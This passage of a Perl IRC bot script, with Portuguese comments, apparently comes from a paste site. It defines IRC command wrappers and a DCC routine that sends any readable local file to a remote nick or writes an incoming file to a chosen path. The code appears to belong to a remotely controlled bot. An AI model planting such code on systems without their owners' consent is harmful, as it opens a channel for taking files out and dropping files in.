  665.    sendraw("MODE $_[0] +h $_[1]");
  666. }
  667. sub voice {
  668.    return unless $#_ == 1;
  669.    sendraw("MODE $_[0] +v $_[1]");
  670. }
  671. sub devoice {
  672.    return unless $#_ == 1;
  673.    sendraw("MODE $_[0] -v $_[1]");
  674. }
  675. sub ban {
  676.    return unless $#_ == 1;
  677.    sendraw("MODE $_[0] +b $_[1]");
  678. }
  679. sub unban {
  680.    return unless $#_ == 1;
  681.    sendraw("MODE $_[0] -b $_[1]");
  682. }
  683. sub kick {
  684.    return unless $#_ == 1;
  685.    sendraw("KICK $_[0] $_[1] :$_[2]");
  686. }
  687.  
  688. sub modo {
  689.    return unless $#_ == 0;
  690.    sendraw("MODE $_[0] $_[1]");
  691. }
  692. sub mode { modo(@_); }
  693.  
  694. sub j { &join(@_); }
  695. sub join {
  696.    return unless $#_ == 0;
  697.    sendraw("JOIN $_[0]");
  698. }
  699. sub p { part(@_); }
  700. sub part {sendraw("PART $_[0]");}
  701.  
  702. sub nick {
  703.   return unless $#_ == 0;
  704.   sendraw("NICK $_[0]");
  705. }
  706.  
  707. sub invite {
  708.    return unless $#_ == 1;
  709.    sendraw("INVITE $_[1] $_[0]");
  710. }
  711. sub topico {
  712.    return unless $#_ == 1;
  713.    sendraw("TOPIC $_[0] $_[1]");
  714. }
  715. sub topic { topico(@_); }
  716.  
  717. sub whois {
  718.   sendraw("WHOIS $_[0]");
  719. }
  720. sub who {
  721.   return unless $#_ == 0;
  722.   sendraw("WHO $_[0]");
  723. }
  724. sub names {
  725.   return unless $#_ == 0;
  726.   sendraw("NAMES $_[0]");
  727. }
  728. sub away {
  729.   sendraw("AWAY $_[0]");
  730. }
  731. sub back { away(); }
  732. sub quit {
  733.   sendraw("QUIT :$_[0]");
  734.   exit;
  735. }
  736.  
  737. # DCC
  738. package DCC;
  739.  
  740. sub connections {
  741.    my @ready = $dcc_sel->can_read(1);
  742. #   return unless (@ready);
  743.    foreach my $fh (@ready) {
  744.      my $dcctipo = $DCC{$fh}{tipo};
  745.      my $arquivo = $DCC{$fh}{arquivo};
  746.      my $bytes = $DCC{$fh}{bytes};
  747.      my $cur_byte = $DCC{$fh}{curbyte};
  748.      my $nick = $DCC{$fh}{nick};
  749.  
  750.      my $msg;
  751.      my $nread = sysread($fh, $msg, 10240);
  752.  
  753.      if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
  754.         $DCC{$fh}{status} = "Cancelado";
  755.         $DCC{$fh}{ftime} = time;
  756.         $dcc_sel->remove($fh);
  757.         $fh->close;
  758.         next;
  759.      }
  760.  
  761.      if ($dcctipo eq "get") {
  762.         $DCC{$fh}{curbyte} += length($msg);
  763.  
  764.         my $cur_byte = $DCC{$fh}{curbyte};
  765.  
  766.         open(FILE, ">> $arquivo");
  767.         print FILE "$msg" if ($cur_byte <= $bytes);
  768.         close(FILE);
  769.  
  770.         my $packbyte = pack("N", $cur_byte);
  771.         print $fh "$packbyte";
  772.  
  773.         if ($bytes == $cur_byte) {
  774.            $dcc_sel->remove($fh);
  775.            $fh->close;
  776.            $DCC{$fh}{status} = "Recebido";
  777.            $DCC{$fh}{ftime} = time;
  778.            next;
  779.         }
  780.      } elsif ($dcctipo eq "send") {
  781.           my $send = $fh->accept;
  782.           $send->autoflush(1);
  783.           $dcc_sel->add($send);
  784.           $dcc_sel->remove($fh);
  785.           $DCC{$send}{tipo} = 'sendcon';
  786.           $DCC{$send}{itime} = time;
  787.           $DCC{$send}{nick} = $nick;
  788.           $DCC{$send}{bytes} = $bytes;
  789.           $DCC{$send}{curbyte} = 0;
  790.           $DCC{$send}{arquivo} = $arquivo;
  791.           $DCC{$send}{ip} = $send->peerhost;
  792.           $DCC{$send}{porta} = $send->peerport;
  793.           $DCC{$send}{status} = "Enviando";
  794.  
  795.           #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
  796.           open(FILE, "< $arquivo");
  797.           my $fbytes;
  798.           read(FILE, $fbytes, 1024);
  799.           print $send "$fbytes";
  800.           close FILE;
  801. #          delete($DCC{$fh});
  802.      } elsif ($dcctipo eq 'sendcon') {
  803.           my $bytes_sended = unpack("N", $msg);
  804.           $DCC{$fh}{curbyte} = $bytes_sended;
  805.           if ($bytes_sended == $bytes) {
  806.              $fh->close;
  807.              $dcc_sel->remove($fh);
  808.              $DCC{$fh}{status} = "Enviado";
  809.              $DCC{$fh}{ftime} = time;
  810.              next;
  811.           }
  812.           open(SENDFILE, "< $arquivo");
  813.           seek(SENDFILE, $bytes_sended, 0);
  814.           my $send_bytes;
  815.           read(SENDFILE, $send_bytes, 1024);
  816.           print $fh "$send_bytes";
  817.           close(SENDFILE);
  818.      }
  819.    }
  820. }
  821.  
  822.  
  823. sub SEND {
  824.   my ($nick, $arquivo) = @_;
  825.   unless (-r "$arquivo") {
  826.     return(0);
  827.   }
  828.  
  829.   my $dccark = $arquivo;
  830.   $dccark =~ s/[.*\/](\S+)/$1/;
  831.  
  832.   my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  833.   my $longip = unpack("N",inet_aton($meuip));
  834.  
  835.   my @filestat = stat($arquivo);
  836.   my $size_total=$filestat[7];
  837.   if ($size_total == 0) {
  838.      return(0);
  839.   }
  840.  
  841.   my ($porta, $sendsock);
  842.   do {
  843.     $porta = int rand(64511);
  844.     $porta += 1024;
  845.     $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
  846.   } until $sendsock;
  847.  
  848.   $DCC{$sendsock}{tipo} = 'send';
  849.   $DCC{$sendsock}{nick} = $nick;
  850.   $DCC{$sendsock}{bytes} = $size_total;
  851.   $DCC{$sendsock}{arquivo} = $arquivo;
  852.  
  853.  
  854.   &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
  855.  
  856. }
  857.  
  858. sub GET {
  859.   my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  860.   return(0) if (-e "$arquivo");
  861.   if (open(FILE, "> $arquivo")) {
  862.      close FILE;
  863.   } else {
  864.     return(0);
  865.   }
  866.  
  867.   my $dccip=fixaddr($dcclongip);
  868.   return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  869.   my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
  870.   $dccsock->autoflush(1);
  871.   $dcc_sel->add($dccsock);
  872.   $DCC{$dccsock}{tipo} = 'get';
  873.   $DCC{$dccsock}{itime} = time;
  874.   $DCC{$dccsock}{nick} = $nick;
  875.   $DCC{$dccsock}{bytes} = $bytes;
  876.   $DCC{$dccsock}{curbyte} = 0;
  877.   $DCC{$dccsock}{arquivo} = $arquivo;
  878.   $DCC{$dccsock}{ip} = $dccip;
  879.   $DCC{$dccsock}{porta} = $dccporta;
  880.   $DCC{$dccsock}{status} = "Recebendo";
  881. }
  882.  
  883. # po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
  884. sub Status {
  885.   my $socket = shift;
  886.   my $sock_tipo = $DCC{$socket}{tipo};
  887.   unless (lc($sock_tipo) eq "chat") {
  888.     my $nick = $DCC{$socket}{nick};
  889.     my $arquivo = $DCC{$socket}{arquivo};
  890.     my $itime = $DCC{$socket}{itime};
  891.     my $ftime = time;
  892.     my $status = $DCC{$socket}{status};
  893.     $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
  894.  
  895.     my $d_time = $ftime-$itime;
  896.  
  897.     my $cur_byte = $DCC{$socket}{curbyte};
  898.     my $bytes_total =  $DCC{$socket}{bytes};
  899.  
  900.     my $rate = 0;
  901.     $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
  902.     my $porcen = ($cur_byte*100)/$bytes_total;
  903.  
  904.     my ($r_duv, $p_duv);
  905.     if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
  906.        $r_duv = $3; $r_duv++ if $4 >= 5;
  907.        $rate = "$1\.$2"."$r_duv";
  908.     }
  909.     if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
  910.        $p_duv = $3; $p_duv++ if $4 >= 5;
  911.        $porcen = "$1\.$2"."$p_duv";
  912.     }
  913.     return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
  914.   }
  915.  
  916.  
  917.   return(0);
  918. }
  919.  
  920.  
  921. # esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
  922. sub fixaddr {
  923.     my ($address) = @_;
  924.  
  925.     chomp $address;     # just in case, sigh.
  926.     if ($address =~ /^\d+$/) {
  927.         return inet_ntoa(pack "N", $address);
  928.     } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
  929.         return $address;
  930.     } elsif ($address =~ tr/a-zA-Z//) {                    # Whee! Obfuscation!
  931.         return inet_ntoa(((gethostbyname($address))[4])[0]);
  932.     } else {
  933.         return;
  934.     }
  935. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement